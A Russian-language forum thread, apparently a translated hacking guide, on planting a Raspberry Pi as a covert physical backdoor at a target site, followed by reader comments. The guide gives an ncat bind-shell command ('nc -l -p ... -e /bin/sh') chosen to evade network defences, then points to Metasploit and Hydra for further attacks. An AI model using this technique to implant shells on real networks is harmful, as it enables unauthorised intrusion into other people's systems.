Raspberry Pi - Физический бэкдор, часть 1

[Sergei webware]

Данное руководство посвящено одной из техник использования вашего Pi. Небольшой размер делает это устройство идеальным для случаев, когда вам требуется проникнуть на объект. В то же время Raspberry Pi обладает возможностями среднего компьютера. Надеюсь, данное руководство поможет вам раскрыть весь потенциал Raspberry Pi и позволит применить свои навыки на практике. Я планирую сделать из него мини-серию в рамках цикла статей о Raspberry Pi. Итак, давайте загрузим нашу Pi.

Лаборатория злого гения

Я не могу не подчеркнуть, как важно быть готовым к любым препятствиям, возникающим на пути. Посему ваш арсенал должен состоять из:

• Kali Linux
• Ссылка скрыта от гостей
• Творческого подхода

Конечно, в данный список можно ещё много чего внести, но эти пункты, по моему мнению, имеют решающее значение.

Ncat

Существуют и другие методы подключения к Raspberry Pi. Вы можете воспользоваться SSH или, если бы хотели получить графический интерфейс, установить VNC сервер, а затем подключиться к нему, получив полный контроль над Kali с графическим интерфейсом. Проблема этих двух методов в том, что они, по всей вероятности, были бы замечены сетевой защитой Корпорации Зла.

Таким образом, ncat остаётся одним из самых эффективных способов подключения к вашему Pi. Но, перед организацией подключения, вам нужно убедиться, что ncat установлен как на самом Pi, так и на компьютере, с которого будет производиться удалённое управление. Полагаю, вы уже установили его на обе системы, так что приступим к подключению. Введите:

nc -l -p(порт) -e /bin/sh

Если эта команда выполнится успешно, вы сможете подключиться к Pi со своей Kali Linux… или другой системы, который вы пользуетесь. Суть в том, что вы исполняете простую команду:

nc (IP-адрес) (порт)

Если всё прошло удачно, примите мои поздравления. Теперь вы можете навести шороху. Вот некоторые из инструментов, которые могут для этого пригодиться:

• link removed
• Metasploit
• Hydra

Почти все такие инструменты поддерживают Kali Linux. Главное понять, чего вы хотите достичь и не забывать про творческий подход.

Заключение

Теперь, когда у нас есть доступ к Pi, пришла пора заняться взломом. Я не стану рассказывать о каждом из многочисленных инструментов, но ваши возможности практически безграничны. В ближайшем будущем, я планирую написать несколько руководств по взлому с помощью Pi и различных инструментов. Но сейчас я занят работой над несколькими проектами, так что, пожалуйста, запаситесь терпением. Как обычно, жду ваших комментариев и предложений.

Источник

Ссылка скрыта от гостей

 

[sosiskapi]

Помогите вспомнить статью про Распберри, с объяснением как подключиться к нему через браузер. Там использовалась прога с гитхаба толи gotty толи getty. Где ее найти .

Разул глаза и нашел. Всем спосибо помощь больше не требуеться.

 

[Gl@balWar]

Юзаю на данный момент Kali Linux ( основная система ). На PI3 Стоит rasppbian (или что то похожее). В системе нет "-e", как можно заменить?

 

[Remir]

Данное руководство посвящено одной из техник использования вашего Pi

Какому именно RPi? Их три версии. А образов для пентестов - по три на каждую из версий.

 

[sosiskapi]

Ой дайте сумничяю три версии. Raspberry Pi Zero W | Raspberry Pi 3 | Raspberry Pi Zero | Raspberry Pi 2 | Raspberry Pi A+ | Raspberry Pi B.

 

[paragon21]

А про физический бэкдор будет в части 2?
Что то типа https://github.com/samyk/poisontap ?